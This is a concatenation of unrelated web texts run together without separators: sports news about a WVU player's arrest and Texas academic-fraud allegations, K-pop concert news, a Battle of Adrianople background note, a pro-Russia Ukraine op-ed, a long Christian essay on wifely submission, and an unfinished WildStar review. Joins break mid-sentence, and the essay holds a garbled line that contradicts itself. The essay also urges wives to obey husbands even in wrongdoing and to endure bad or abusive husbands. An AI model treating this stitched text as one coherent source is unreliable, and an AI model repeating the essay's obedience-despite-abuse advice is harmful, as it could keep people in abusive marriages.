MORGANTOWN, W.Va. — Suspended defensive lineman Korey Harris, arrested Friday on charges of first-degree armed robbery, is no longer with the West Virginia football team.
While the university had not publicly confirmed Harris’ dismissal from the team, WVU football sports information director Mike Montoro informed MetroNews, “We have no comment on individuals who aren’t with the West Virginia football program.”
By Friday evening the sophomore’s bio had been removed from the roster on the WVU website.
The armed robbery allegedly occurred in Morgantown during the early morning hours of July 12, when police said Harris and two others entered a Sturgis Street home and held two residents at gunpoint.
A relative said one of the victims recognized Harris, who was wearing his WVU-issued sweatpants with the No. 96 on them. That victim reportedly told police all three intruders were armed.
WBOY-TV reported Harris was being held on $75,000 bail at the North Central Regional Jail on Friday afternoon, but a booking officer told MetroNews the jail had no record of Harris being in custody there.
In April, head coach Dana Holgorsen announced Harris was suspended from the team for spring semester. A three-star prospect out of St. Augustine, Fla., Harris played in 11 games as a freshman, making four tackles.Mike McGinnis/Getty Images
The University of Texas is facing allegations of academic misconduct involving a number student-athletes, namely its basketball players, during the Rick Barnes era, according to Brad Wolverton of the Chronicle of Higher Education.
His June 10 report hones in on three players in particular: Martez Walker, who has since transferred to Oakland University, and former players J’Covan Brown and P.J. Tucker.
Texas released a statement later in the day on the allegations:
Academic integrity is at the core of The University of Texas. Our student-athletes’ academic progress rates are among the best in the nation. And we continually seek to foster an ethical culture that reduces the risk of wrongdoing, manages our internal controls, and responds to inappropriate conduct. The university takes any suggestion of wrongdoing extremely seriously. We are always looking to identify problems that may exist and ways we can do better. Working with external NCAA bylaw and academic compliance experts Gene Marsh and Geoff Silver, UT is investigating allegations raised by The Chronicle of Higher Education and has contacted the NCAA about them. We determined that the university had no knowledge of two former student-athletes allegedly receiving improper help with high school coursework before they enrolled. We now are reviewing three other cases purported to have occurred over a nine-year period since 2006 to determine if any university or NCAA rules were violated and if any action is needed. The university has no information that suggests former Men’s Basketball Coach Rick Barnes knew of or was involved in any academic improprieties. President Gregory L. Fenves is actively working with his leadership teams in both Student Affairs and Athletics to pursue the highest levels of integrity for all UT students.
On June 16, the university announced an independent investigation into the academic services offered by the athletic department, according to Brian Davis of the Austin American-Statesman:
“We have a very storied athletic program, a long tradition of integrity. The motto has been winning with integrity,” Fenves told the Statesman late Monday. “As a new president, with all the issues going around collegiate athletics in general, coming into the position, I want to have an independent study of our programs to make sure we’re doing everything we should be.” According to UT, Marsh’s review will be a “thorough examination” of all procedures and policies that impact the student-athlete’s experience, “from when they are recruited until after they have left the university,” according to a UT news release. That includes the athletic department’s admissions process, academic advising and tutorial assistance, choices of majors and coursework and interactions with athletic employees and UT faculty members.
Texas coach Rick Barnes waited until June 29 to offer up comments on the investigation, per Patrick Brown of timesfreepress.com:
I think Texas has said everything that needed to be said. I'm sure they'll pursue whatever they think they have to do there, but it was made clear that I had no involvement in it, which I knew. If I thought there was something, I would address. The fact that it has no legs, I'm not really concerned about it.
Math instructor Pamela G. Powell allegedly caught Walker taking pictures of a test on his phone and seeking answers to those questions, "according to two former academic advisers informed of the incident." Powell passed on the information to "Adam Creasy, her liaison with the athletic department," and the information was then sent to several other folks within the university.
The result? Walker passed the class and "was named to the Big 12 Commissioner’s Honor Roll, for earning at least a 3.0 grade-point average."
Per Wolverton, "One former academic mentor in the athletic department told the Chronicle that he had helped write papers for J’Covan Brown," while a final paper was submitted on Tucker's behalf for his "Leadership in the Community" class, despite the player reportedly being out of state at the time preparing for the NBA draft.
Texas is already investigating prior allegations of academic fraud, as "a Chronicle investigation detailed how hundreds of college athletes, including two former Texas basketball players, had reportedly gained NCAA eligibility through the use of bogus online coursework," so this latest batch of allegations adds to the school's growing list of accusations.
If Texas is found to have harbored an institutional culture of academic fraud, the university could face major NCAA sanctions—as could Barnes, now the head coach at Tennessee.So far, 2015 has proven to generally be an awesome year for So Nyeo Shi Dae (SNSD), better known as Girls’ Generation. Coming off the controversial exit of their “first member” Jessica Jung, the K-pop mega group has bounced back hard with the release of their latest album, the first with only eight members, Lion Heart. The album was heralded by the song “PARTY,” which released during the summer followed by releases of both tracks the album is named after and “You Think.” Not to mention, they now have “younger sisters” to take care of in the form of Red Velvet. Unfortunately, three of their members may have paid the price when it comes to the love department in their comeback.
With Girls’ Generation’s popularity soaring higher than before, it is only natural for SM Entertainment to think the K-pop group’s members can find musical success as solo artists as well. The first member to be featured as a solo artist will be its leader, Taeyeon, at an upcoming concert. Apparently, SM Entertainment is taking this endeavor seriously as they are implementing whatever it takes to prevent scalping.
According to Koreaboo, Taeyeon will be holding her very first solo concert as part of their ongoing concert series known as The AGIT. She is technically the second artist in the series, as she will be right after Jonghyun of K-pop group SHINee. Taeyeon’s concert will take place twice at the SM TOWN’s COEX Artium from Thursday, October 23, 2015, to Saturday, October 25, 2015, and Friday, October 30, 2015 to Sunday, November 1, 2015.
Given the fact this is a concert, it is highly expected there will be scalpers selling tickets (either legit or fake) right outside the venue. According to a statement released by SM Entertainment, they will do all they can to prevent scalping by imposing harsh measures to combat it, as reported by Korean outlet Star News. Attendees may be asked for evidence of legit transactions of their tickets. If the booking is reported for scalping and evidence is not provided, SM Entertainment has the right to cancel it. As for the scalpers themselves, nothing was technically said but it was made known they are taking even harsher measures to reduce harm to consumers.
Taeyeon’s solo concert is in preparation and promotion of the release of her debut solo album. No specific date was given for its release, but it is expected to hit stores by the end of this year.
[Image via Taeyeon’s Facebook Page]Background Edit
In AD 376, displaced by the invasions of the Huns, the Goths, led by Alavivus and Fritigern, asked to be allowed to settle in the Eastern Roman Empire. Hoping that they would become farmers and soldiers, the Eastern Roman emperor Valens allowed them to establish themselves in the Empire as allies (foederati). However, once across the Danube (and in Roman territory), the dishonesty of the provincial commanders Lupicinus and Maximus led the newcomers to revolt after suffering many hardships. Valens (of the Eastern Empire) then asked Gratian, the western emperor, for reinforcements to fight the Goths. Gratian sent the general Frigeridus with reinforcements, as well as the leader of his guards, Richomeres. For the next two years preceding the battle of Adrianople there were a series of running battles with no clear victories for either side.[10] In 378, Valens decided to take control himself. Valens would bring more troops from Syria and Gratian would bring more troops from Gaul.[11] Valens left Antioch for Constantinople, and arrived on the 30th of May. |
subject of endless moralizing, while Western scandals and abuses are dismissed as the sign of the healthy democratic process.
The situation in Ukraine reminds of Moliere's famous play Tartuffe in which the main character is a selfish and manipulative person, who pursues his materialist interests under the guise of piety. Russia falls into its role of Moliere's gullible Orgon, while the west plays a convincing Tartuffe.
Dealing with such an exotic country as Russia, separated from the West by its unique geography, history, religion, and political system, the West has fully internalised utterly undemocratic and hypocritical attitude captured by the maxim: "quod licet Iovi, non licet bovi" (What is allowed to Jupiter is not allowed to an ox). Furthermore, as late comers to the Western civilisation, Russians themselves seem to accept this unhealthy attitude without challenging it.
This situation has persisted after the collapse of the Soviet Union Despite its self-congratulations on the triumphant power of democratic values and its demands that Russia treats its citizens and neighbours with equanimity, the West continues to lecture it on its inadequacies. Consequently, Western militaristic adventures be it in Afghanistan, Iraq, Syria, Libya, or Kosovo are disguised as some sort of noble and moral endeavours.
Russia's assertions of its country national interests are presented, however, as an act of blatant aggression. One would expect that the endless amount of economic, political, social, and military abuses that we witness around us would make modern day Tartuffes more modest in their pious claims, but it doesn't.
Furthermore, if the West preaches equality but treats other countries as second best, why can't Russia do that too? Why can't it treat Ukraine in the same way it has been treated by the West? And if Russia is the subject of double standards, was the West lying to the Russians all along, convincing them that there's nothing to fear and can peacefully disarm and withdraw, while at the same time secretly expanding NATO towards its borders? To push the analogy with Moliere's play even further, Tartuffe is not just a sanctimonious hypocrite; he eventually tries to repossess the house of Orgon, whose gullibility he uses precisely for that purpose.
I suspect that the collapse of Ukraine has brought this fact to the surface, and Russians - in the manner of Orgon - suddenly realised that they've been taken advantage of, that Tartuffe wants to re-possess their house, that all these assurances that Russia is an equal member of G8 were empty talk. It can see nuclear arms at its border, which the West will surely place there after it buys Ukraine out of its economic crisis. Western response? Blame Russian aggression again. It is a classic case of blaming the victim. Now the West will surely surround Russia with nuclear arms.
I hope that the West will come back to its senses, sit at the table and negotiate with Russia a solution to the Ukrainian crisis and create a military neutral space there. Because if it doesn't, the next Russian political leader might be less accommodating than Putin, whose foreign policy was to give the West everything it wanted while getting very little in return.
Like the US, the UK, and France, Russia has its legitimate national interests that have to be defended. Why should Russia tolerate NATO at its borders and the potential loss of the Sevastopol navy base to the modern-day Tartuffes?
Vladimir Golstein teaches Russian literature and film at Brown University. He was the 2013-2014 Pembroke Center Faculty Fellow. He is the author of Lermontov's Narratives of Heroism(1999) and numerous articles on all major Russian authors. He was born in Moscow, went to the US in 1979, and studied at Columbia and Yale Universities.There are a lot of misconceptions about submission and submissive people. Before we can intelligently consider what the Bible has to say on the subject of submissive wives we need to clear these misconceptions out of our way. Let me begin with a few simple statements about the nature of submission:
Only a strong person can be submissive.
Submissiveness is not timidity, it is not servility, it is not subservience, it is not docility, it is not degrading, it is not a sign of weakness.
timidity, it is servility, it is subservience, it is docility, it is degrading, it is a sign of weakness. Submission is a sign of strength, not of weakness and a greater degree of submission requires a greater degree of strength of personal character.
Submission is an act of the will — it is the result of a choice, a decision. The act of submission can only come from a choice that a person makes. Submission cannot be enforced upon a person. Either a person submits of their own free will or they do not submit at all. Submission is a gift that one person chooses to give to another person. By contrast oppression is the act of extracting something from a person against their will. Submission and oppression are, therefore, opposite qualities of a relationship and not even remotely similar.
The submission of a good wife is a glorious thing that is intended to help her and her husband to have a contented life together. Problems in life and in marriage are more or less inevitable but when a woman is submissive to her man it is much more likely that those problems can be resolved harmoniously, without unpleasant quarrelling and without bitterness and resentment. Those people who look down on submission as if it were something demeaning, degrading or humiliating are merely showing that they have no understanding of what submission is and that they are quite ignorant of its power.
If you are a Christian wife who has been feeling uncomfortable with the Biblical demand that you submit to your husband then, I hope, these statements have perked up your interest and given you a glimpse of the bright cheerfulness ahead. Being submissive to your husband does not mean, as so many ignorant detractors of submission seem to think, that you should be an empty-headed bimbo, or that you should have no opinions of your own, or that you should be like a doormat.
If you are a Christian husband I hope that you will take care to understand the nature of submission and be careful to understand your responsibilities in response to your wife's submission to you. A submissive wife is not a justification for an abusive husband. God commands men to love their wives with the same kind of love that he [God] gave to his people... that's a pretty tough assignment to give a mortal man and it doesn't include the possibility of abuse.
Usually when I am asked to comment regarding the submission of wives, I find myself in a debate where somebody is trying to prove from scripture that women do not really have to submit to their husbands or obey them. In this article I will attempt to demonstrate the error in such thinking. The argument is not especially difficult but it does tend to focus on the negative side of life rather a lot and consequently doesn't make submission sound very desirable. So, before I get into the detailed passage-by-passage arguments I would like to try and explain why a wife who is submissive towards her husband is such a glorious and powerful component of an earthly family and of the Christian family at large. The Christian message is, after all, “good news” and hence a reason for delighted cheerfulness and joy, but in these focused theological debates it sometimes seems that the Christian life is all long faces and dour clothes and instructions towards restrictive behaviour.
A submissive wife is one whose heart is inclined towards satisfying her husband and who has made a choice to be led by her husband, to accept his authority and to be his helper in the broad biblical sense of that word. She does not seek to please her husband because she is afraid of his rebuke or rejection or punishment, but because she delights to please him and finds satisfaction in doing so.
For a man, a submissive wife is a pleasure to be around because she helps him to feel peaceful and contented, she is a reliable helper who can be depended upon. He can trust her with his deepest desires and fears because he is not afraid of her scorn or her rejection or her anger. He can relax with her because he knows that even when he makes mistakes, she will be working with him to put them right and minimize the consequences rather than using them to prove a point or as an excuse for rejecting him in some way. A man who has a submissive wife acquires a greater sense of self respect because he knows that she respects his authority in her life and she is not in any way trying to belittle him.
A submissive wife is one who makes a choice not to resist her husband's will. That is not to say that she cannot disagree with him or that she cannot express an opinion. Indeed the submissive wife is, by definition, a strong woman and will usually therefore have her own opinions and these may often be different to the opinions of her husband. Can she express them? Of course she can, and indeed it might often be wrong for her not to express them since she is, after all, supposed to be her husband's helper, not his slave or doormat. Expressing her opinions and giving advice and suggestions will often be a valuable part of the help that she gives her husband.
The road trip analogy
Let us see how this works in life by using an analogy of a road for life and junctions in the road for each of life's decision points or choices. The married man and woman walk along the road of life and at each junction they choose which road to take next. Sooner or later they will arrive at a junction where they each desire to take a different road and hence there is disagreement between them:
In the disharmonious family there is a quarrel, there is cajoling or bullying, there is intimidation and bitter words. The quarrel might continue for the rest of their lives with neither giving ground and thus they never move on or, finally, either the husband and wife might travel along one road together but with at least one of them feeling resentful and both of them feeling bruised and wary of the other, or if they could not even obtain an unpleasant agreement then the marriage might simply fall apart and they separate, each taking a different road. None of these outcomes is pleasant or desirable.
When a submissive woman finds that her wishes conflict with those of her husband she has little or nothing to fear. If her husband is respectful then they will discuss the matter together agreeably, frankly and cheerfully and through the discussion they might reach either a compromise or one of them might change their mind completely and accept the other person's wishes. If this happens then they can then continue along the road they have now agreed upon with no sense of bitterness and without having expressed any angry words. However agreement might not be reached, so then what? If they cannot reach agreement then the submissive wife needs only to obey her husband and accept his wishes graciously. Having done this there are now only a few possible outcomes, all of which have positive aspects and none of which is particularly terrible. In the first possible outcome they will take the road the husband selects and, in due course they will discover that they have chosen a good route through life and both will be happy. In the second possible outcome they will take the road the husband selects but, in due course, they discover that it was not such a good choice after all. All they do is turn around, go back to the junction and take a different road; there has been no need for argument, nobody has felt disrespected or belittled and they have not bruised one another. Although the husband's choice turned out to be a bad one, they have discovered the mistake together, discovered it quickly, and swiftly got back onto a better road and, in the process, they have strengthened their bond by having been able to disagree with dignity and mutual respect. They are not stuck in a perpetual argument at the junction, they have not separated and the process of finding a mutually acceptable road has not weakened their marriage.
If the submissive woman has a husband who is not respectful and who is inclined to abuse her gift of submissive then still she has little to fear. The worst possible outcome is that they will travel a bad road together until the next junction. Although the road might be bad it is good to remember the positive aspects of the situation: They have still remained together, they have kept alive the possibility of improving their relationship as they make their way through the troubles of life, they have not wasted time and damaged one another in a bitter quarrel and they are not still standing at the junction locked in argument. They have moved on, and therefore given themselves the hope of another choice later. This, remember, is the worst possible outcome. Even with a selfish husband it is still possible that he will acknowledge that the road is bad and that they will turn back to take another route.
I have mentioned this example of a road journey to try and illustrate that submission can bring real and worthwhile benefits to a marriage. The scripture also indicates that the act of submission by a woman is able to influence a bad man to change his ways but even if he doesn't change, her choice of submission will still allow her to avoid the worst of the possible problems that a bad marriage to a bad husband might bring.
The key text concerning the submission of wives to their husbands
Wives, submit to your husbands as to the Lord. For the husband is the head of the wife as Christ is the head of the church, his body, of which he is the Saviour. Now as the church submits to Christ, so also wives should submit to their husbands in everything. Husbands, love your wives, just as Christ loved the church and gave himself up for her to make her holy, cleansing her by the washing with water through the word, and to present her to himself as a radiant church, without stain or wrinkle or any other blemish, but holy and blameless. In this same way, husbands ought to love their wives as their own bodies. He who loves his wife loves himself. After all, no one ever hated his own body, but he feeds and cares for it, just as Christ does the church-- for we are members of his body. "For this reason a man will leave his father and mother and be united to his wife, and the two will become one flesh." This is a profound mystery -- but I am talking about Christ and the church. However, each one of you also must love his wife as he loves himself, and the wife must respect her husband.
Taken from Paul's letter to the congregation at Ephesus, chapter 5, verses 22 to 33.
Submission in the Christian world
Submission of one person to another is described in various forms in the Christian faith. There is the submission of wives to husbands, of slaves to masters, of Christians to one another, of Christians to the ruling authorities, and Christians to God. If my own experience is anything to rely on, then it seems that we Christians do not much like the idea of submission and, if we think about it at all, then we do so on order to reduce its application to our day to day lives. In this document I hope to redress the balance slightly.
We don't really like the idea though...
In the “Western World” of the twenty-first century, the form of submission that is perhaps most frequently contested is that of wives to husbands. It has been pointed out on several occasions and by various people that the scriptures do not say that wives are to obey their husbands — only that they are to submit to them. Now, each of the clauses in the preceding sentence is true; the problem comes with the word “only” that is used to connect the two clauses. The women (and many men) who want to limit the authority of a husband over his wife are seriously mistaken if they think that a husband can expect less compliance from a submissive wife than from an obedient one; the truth is quite the reverse. Obedience is easy. Submission is hard. Obedience demands little. Submission demands much. It is not possible for a wife to submit to her husband without also being prepared to obey him; a submissive wife is also an obedient wife.
The meanings of the words “submit” and “obey”
If I obey then I do what those who have authority over me tell me to do. There must be an explicit command given before I can obey it and consequently if no command is given then it is not possible for me to be either obedient or disobedient. Obedience does not of itself require me to be cheerful, willing, co-operative or contented. I can be surly, rude, bitter and unhelpful and still be obedient. I do not have to be willing to be obedient because mere obedience can be forced upon me. For these reasons, obedience is easy when compared to full submission.
In order to submit to a person who has authority over me, I do not need to wait for an explicit command but instead I can attempt to anticipate the commands and thus avoid the need for them to be given. Anticipating the commands does not mean that I can substitute my own agenda or my own will but rather that I am trying to imagine what the person in authority will want me to do next; I am trying to make my will conform to theirs. Attempting to anticipate the commands does not allow me to disobey any command that has been explicitly given — those I am still required to obey. If I am to be truly submissive then I must learn to be contented, cheerful, willing and co-operative even if I do not like doing what is required of me. Finally submission is a choice that I must continuously make; the choice being between submission and rebellion. It can be seen therefore that submission is far more demanding than merely obedience and requires much more of me than does mere obedience.
It is also worth repeating that submission is NEVER enforced upon a person. Submission is the opposite of oppression. In fact submission is a gift that one person gives to another. In a marriage, submission is the wife's gift to her husband. If the husband is wise he will treasure that gift and handle it very carefully because his own happiness depends on it. Submission is a gift that must be renewed each day or even each moment.
Trying to wriggle out of the obligation to obey
It has been claimed that a wife need only obey her husband when her husband's will conforms to the will of God and that is right for a wife to disobey her husband when what he commands is wrong. At first sight this argument seems to be very reasonable but unfortunately it leads into chaos and emptiness and also leaves the wife in a very cruel “no-win” situation. It is true that all husbands are fallen and sinful and it follows that they will make mistakes and that they might desire and command what they ought not desire and command. It is also true, but almost always overlooked, that all wives are fallen and sinful and it follows that they will make mistakes and that they might desire what they ought not desire. God knew both of these facts when he arranged for scripture to be written and yet he still gave wives the instruction to submit to their husbands. He knew that husbands would wield the authority that he gave them imperfectly and he knew that wives would respond to that authority imperfectly. It is a terrible wrong for husbands to abuse their authority but it is no less terribly wrong for wives to reject or usurp their husband's authority.
Some of the people who claim that wives have the right to selectively submit to their husbands have put much emphasis on three New Testament passages — Acts 5:1-10, Acts 4:19 (and a similar passage in Acts 5:29) and Ephesians 5:21. It is worth looking at these to see what they add to the debate.
A passage to consider: Acts 5, v1-10
The first passage concerns Ananias and his wife Sapphira who sold a field, brought the money to the Apostles feet and were promptly struck dead. It has been said that this proves that a wife who does something sinful because her husband commanded it, will be punished by God and that therefore it is right for a wife to obey her husband only when she thinks his will is in accordance with God's will. The fact that anyone can draw such a conclusion from this passage reveals only how desperate they are to avoid having to admit that wives must obey their husbands. Even a simple reading of the passage will show quite clearly that Ananias and Sapphira were in the deceit together. There is nothing at all in the passage to suggest that Sapphira was ordered to do something that she thought wrong; indeed there is nothing to suggest that she was ordered at all. Verse 2 reads as follows:
“But with his wife's agreement he kept part of the money for himself...” Verse 2 as presented in the Good News Bible. “And with his wife's knowledge and connivance he kept back and wrongfully appropriated some of the proceeds...” Verse 2 as presented in the Amplified Bible
It is very clear, then, that Sapphira was not forced by her errant husband to do something that she did not wish to do; she was not obeying an order that she thought wrong but rather she was aiding and abetting a plan of which she approved. We cannot conclude from the story that Sapphira was an innocent and unwilling partner in wrongdoing and, consequently, this passage is irrelevant to the present discussion.
A second passage to consider: Acts 4 verse 19
This passage concerns the instructions given by the Sanhedrin to Peter and John, and the reply, repeated below, that was given by the disciples:
“You yourselves judge which is right in God's sight — to obey you or to obey God.” From the Good News Bible (the text is identical in the Amplified Bible)
Let us first state an obvious but important point: This conflict is not between a Christian husband and a Christian wife, but between two groups of male Jews. The relationship between the parties is therefore very different to that between a husband and a wife [footnote 1]. We also need to ask whether the Sanhedrin had any authority over Peter and John. Both parties were claiming to represent God — but which of them had the better claim? The two disciples had received their commission personally and physically from the mouth of Jesus himself. Jesus came to set aside the old religious order and to establish a new one in which the role of the Sanhedrin (assuming it had ever had any role in God's sight) was to be diminished. This by itself gives us reason to believe that the Sanhedrin did not have any authority over Peter and John, however the words that the disciples used are perhaps more significant; they did not simply refuse to obey the Sanhedrin (though they implied that they were going to) rather they threw the whole command back at the Sanhedrin by telling the Sanhedrin members “judge for yourselves” and thereby questioned the Sanhedrin's authority to issue the order at all. Implicit in the disciples' response is the notion that the Sanhedrin knew, or at least ought to have known, that it was acting beyond its powers. In a modern setting the disciples might have said “If you stop and think for one moment you will realize that your own laws and rules prohibit you from giving this order.”
Also it is worth remembering that when this conversation took place Jerusalem was within the Roman empire; the final authority was not the Sanhedrin but the Roman governor and the Romans did allow a certain amount of religious freedom.
For the reasons given above this passage does not give any support to the notion that wives should only selectively obey their husbands.
The third passage to consider: Ephesians 5:21
The third passage “Submit to one another because of your reverence for Christ” is apparently given to believers in general. Consequently the form of submission referred to in this text is slightly different to that spoken of in other texts. Because this command applies to all relationships (including those between equals) it is not feasible for it to always imply unconditional or automatic obedience. Obedience to one another cannot be forced on equals since it would be impossible to know who should obey who! The other aspects of submission remain valid however. Thus although this passage does show that obedience is not always a part of submission it does not give occasion for wives to disobey their husbands because a husband and wife are not equal in role or function.
Very important side note: The inequality of role and function for a husband and a wife are biologically obvious but this does not imply inequality in value. The desire and tendency to award a value to everything is itself a symptom of our very fallen nature. Personally I would rate a wife as one of the most valuable assets in the universe and the bible lends much support to the notion that having a wife is something that a man ought to treasure and value highly.
It can be seen therefore these passages do not by themselves give a wife any grounds for disobeying her husband. To know whether there are times when a wife can legitimately disobey her husband it is necessary to look directly at the nature of sin.
The nature of sin
Without going into all the arguments and texts, the New Testament teaches that sin is, in part, the doing of what you believe to be wrong; Paul in his teachings uses the example of food. Thus if you believe that it is morally wrong for you to eat a particular food — cabbage for instance — then you sin every time you eat cabbage even though God has not prohibited the eating of cabbage. It is your belief that condemns you. Consequently if a wife really believes that it would be morally wrong to obey her husband then she will sin by obeying him and she should therefore disobey him. However, this is a very uncomfortable, unloving and unbiblical position...
A very unkind “No-win” situation
If we say that a wife can choose whether or not to obey her husband then we will often place her in a very difficult position. If she disobeys her husband in order to supposedly obey God then she has automatically disobeyed God. This means that whatever she does will be wrong and this seems to me to be an extremely unloving and burdensome position to put anyone into. God's instructions that a wife should obey her husband are far kinder and more loving because she can always obey God by obeying her husband. If her husband tells her to do something that God disapproves of then it is her husband (not her) who will have to give an account of it to God. The woman cannot be held accountable for the matter because her responsibility (the bit that God will ask her to account for) is to obey her husband.
An obedient wife does right even when she does wrong...
If the married woman believes that is more important to obey God by submitting to and obeying her husband then she can do this with complete confidence. Sarah obeyed Abraham and went to live with both the king of Egypt [Footnote 2] and with Abimelech the king of Gerar [Footnote 3]. There is no indication that Sarah was held responsible by God or made to suffer for these events even though God was offended by them. Now, keeping these two events in mind, let us see what the Apostle Peter wrote on the subject of submission of wives to husbands:
In the same way [Footnote 4] you wives must submit to your husbands, so that if any of them do not believe God's word, your conduct will win them over to believe. It will not be necessary for you to say a word, because they will see how pure and reverent your conduct is. You should not use outward aids to make yourself beautiful such as the way you do your hair, or the jewellery you put on, or the dresses you wear. Instead your beauty should consist of your true inner self, the ageless beauty of a gentle and quiet spirit, which is of the greatest value in God's sight. For the devout women of the past who placed their hope in God used to make themselves beautiful by submitting to their husbands. Sarah was like that; she obeyed Abraham and called him her master. You are now her daughters if you do good and are not afraid of anything.
1 Peter 3:1-7 Good News Bible
So Sarah, the woman who obeyed her husband even when what he told her to do was morally wrong, is held up as an example of how Christian wives should be. Christian women married to non-Christian men are told to submit to them and, by implication, obey them. It is almost inconceivable (to me at least) that Peter should be incapable of imagining the possible conflicts of morality between a believing wife and an unbelieving husband but nonetheless Peter doesn't make any special provision for such a situation. Yet even in the same passage Peter tells wives that they are to “do good”. At first glance this seems grossly unfair; the wife is to obey her husband even when what he tells her to do is wrong, yet she is also to “do good”. This apparent paradox is easily removed if we remember that a person can only be held responsible for sin when they have a free choice in the matter. If Peter is assuming that the wife has no choice except to obey her husband then he is also assuming that she cannot sin in what she obediently does. In such circumstances, her only possible sin is that of disobeying her husband. Notice also that Peter describes this sort of conduct as being of “the greatest value in God's sight”. In other words, this is what God expects and desires from a married woman and it is not the same as what he expects and desires from a married man, or from an unmarried woman.
A wife's obedience to a misguided, errant or ungodly husband does not mean that any harmful consequences of his wrong actions will be avoided, but this should not concern a Christian (man or woman, in this or any similar situation) too much. Our obedience leaves room (a) for us to grow individually in the fruits of the spirit and (b) for God to act miraculously.
If a wife thinks that what her husband desires or commands is morally wrong then, by all means, she should discuss that with him. Part of a wife's responsibility to her own husband is to offer him her best advice and help him to make good decisions for them and their family. He might indeed be persuaded by her argument, horrified at his own error, and grateful for her advice. However, if he is not persuaded (either because he is stubborn and foolish, or because his wife was mistaken, or for any of several other good reasons) his wife can go ahead and obey with lightness of heart, knowing that even in a world of evil and an imperfect marriage between two imperfect people, God had foreseen this situation and has given her a clear instruction to submit to her husband.
A couple of examples of men obeying God by submitting to sinful men
Jesus obeyed his father, was arrested illegally, tried unfairly, judged wrongly, executed without having committed a crime, suffered horribly and died. His submission to flawed mortal justice and obedience to his Father provided the means by which we are saved.
Paul of Tarsus was also treated unfairly and wrongly and he also endured great physical suffering (read 2 Corinthians 11:23-31 for Paul's own description of his troubles). Nonetheless Paul did not seek to oppose the Governing authorities by forbidden means but instead entrusted his case to the one who always judges fairly. His obedience allowed the Gospel to be spread to the entire world.
We as mere mortals are not expected to understand all of what is happening in the world around us [Footnote 5]. We cannot see what God will do one second into the future and we are only rarely aware of what he did one second in the past. We are only capable of living moment by moment and it is in the present moment that we must obey — trusting always in God's promise that all things work together for good for those who love the Lord (Romans 8).
Where did love go?
I would be surprised if some readers were not by now asking what has happened to the God of love and remarking that all of this seems a little harsh. To such a charge I would reply that in some ways it is very harsh. We are called to be obedient unto death. God has provided a moral law that is totally unyielding. We do not judge the moral law — it is the standard against which we are judged. If there are mitigating circumstances surrounding my failure to reach the required standard then our God, who is just, will know them and take them into account. The fact that I cannot attain the required standard on the occasions when there are no mitigating circumstances is precisely why the Son of God had to be crucified on my behalf: That is how harsh the moral law of God is and how loving and merciful our God is — it his by his law that we are condemned and by his grace and sacrifice that we are saved. Love does not set aside the requirement for obedience but on the cross at Calvary love does deal with the consequences of disobedience.
However, near the beginning of this discussion I gave an example of a husband and wife taking a journey through life and I tried to demonstrate that, in fact, where a wife has a submissive attitude and is therefore willing to obey her husband, the outcome can never be as bad as worst that can happen where there is no obedience or submission. The requirement for a woman to submit to her husband and to obey him is harsh in the sense that it is not optional but it is the harshness imposed by a loving God who knows that this strict approach will always avoid the worst of the possible outcomes and always provide the possibilities for a couple to grow together, mature, gain wisdom and learn to love one another more effectively.
The alternative, if you recall in my example, was that the couple might find themselves trudging together with bitterness and resentment, might be stuck at the same junction indefinitely and locked in unproductive argument, or they might simply separate altogether. The path of submission and attendant obedience is something our loving God has ordained for us so that we can enjoy marriage even with conflicts and disagreements. The requirement for wives to be submissive and obedient seems harsh to those who have not understood the concepts, who have not understood its rich benefits to both husband and wife, and who have not recognized the awfulness of the alternatives.
A summary reminder: What is submission?
As already mentioned, submission is a gift that one person gives to another. Now I would like to briefly reiterate and expand upon some misconceptions about a submissive person.
Misconception: A submissive person is weak. This is very wrong. In fact a very weak person cannot submit. Only a very strong person can submit fully. Remember, submission is a gift that must be given freely. It is impossible to force a person to submit because that is a contradiction in terms. A weak person can be manipulated and forced to obey but then that is no longer submission but oppression. Misconception: A submissive person has no control. Actually nobody is every fully in control of their own lives because nobody can control all of their circumstances. Submission is an act of the will; a submissive person makes a positive choice to submit to another person. Consequently a submissive person has at least as much in control as any other person, possibly more since many people never make definite positive choices but merely drift from one excuse to another. Misconception: Submission is degrading. In fact submission is a very beautiful and enormously valuable gift that only a strong person can give. Nobody is degraded by giving, or wanting to give, beautiful and valuable gifts to another person. Submission is a gift that benefits the giver even if the receiver is incapable of treating the gift and the giver with the appropriate respect and care. Misconception: A submissive person is abused. Well, it is true that a submissive person could be abused by a stupid person who does not appreciate the value of the gift. However, anybody can be abused, submissive or not, so this is not really an argument against submission.
FOOTNOTES
1. A husband and wife are bound together until separated by death; they are not free to separate from one another. The husband and one wife are made one in a fashion that does not exist between any other two of God's people. The dispute between the disciples and the Sanhedrin is also a dispute between "equals" to the extent that all the parties to the conflict are men. A different situation arises between a married couple simply because "the husband is the head of the wife as Christ is the head of the church" (cf Ephesians 5:23 and 1 Corinthians 11:3) — in other words the husband is responsible for, and will be held accountable before God for, his wife. By itself this is no easier than the original situation and it certainly does not allow the wife to act according to her own will. She now has a choice between doing what she believes her husband wants her to do and doing what she believes God wants her to do. Her own desires don't get much chance to surface. God in his written word has told her to submit to, and hence to obey, her husband. It follows therefore that by obeying her husband she is obeying God. Nonetheless it might be that after prayerful consideration she will conclude that she must disobey her husband and if she really believes that this is God's will then she must do it. 2. Genesis 12:10-20 3. Genesis 20 4. The previous passage should also be read — it discusses the idea of doing what is right by submitting even though it might lead to unpleasantness and suffering. 5. Proverbs, chapter 20, verse 24: The Lord has determined our path; how then can anyone understand the direction his own life is taking?
Copyright © 1992, 1993, 1999, 2000, 2003Every few months I revive my World of Warcraft subscription, go poking about the old haunts and decide that yes, things were better back in my day. Then I order the local kids off my lawn and wish I had my £9.99 back. This is WildStar’s target audience: people like me who yearn for the hardcore days of yore, too jacked up on happy memories to recall that a lot of what Warcraft had going on 10 years ago was a massive arse-ache. WildStar offered 40-man raids, a lengthy pre-raid attunement process and hour-long dungeon runs to a fickle, flighty bunch on a nostalgia trip, and so, after an opening surge in rose-tinted interest, wrestling with obstacles WoW patched out years back was judged not to warrant £12 a month. Servers withered, and NCSOFT’s earnings reports took on an unhealthy pallor.
Free-to-play, Wildstar’s long-anticipated move to which was announced today, is smashing down the financial barrier to an old school reunion where the nostalgic can come and go as they please.
I’m underselling it horribly – despite the odd lapsed month, WildStar’s innovations have kept me logging in to planet Nexus since the head-start last June. It is a beautiful thing, drawn in an intoxicating comic book style and heavy with Whedonesque space cowboy lore. Combat is peerless, double-jumps and backflips complementing a telegraph system which sketches attacks to be evaded or fired off on the ground. WildStar aims to make you breathless, bouncing between activities in a state of suppressed hysteria.
These activities require people though, and WildStar doesn’t have many of |
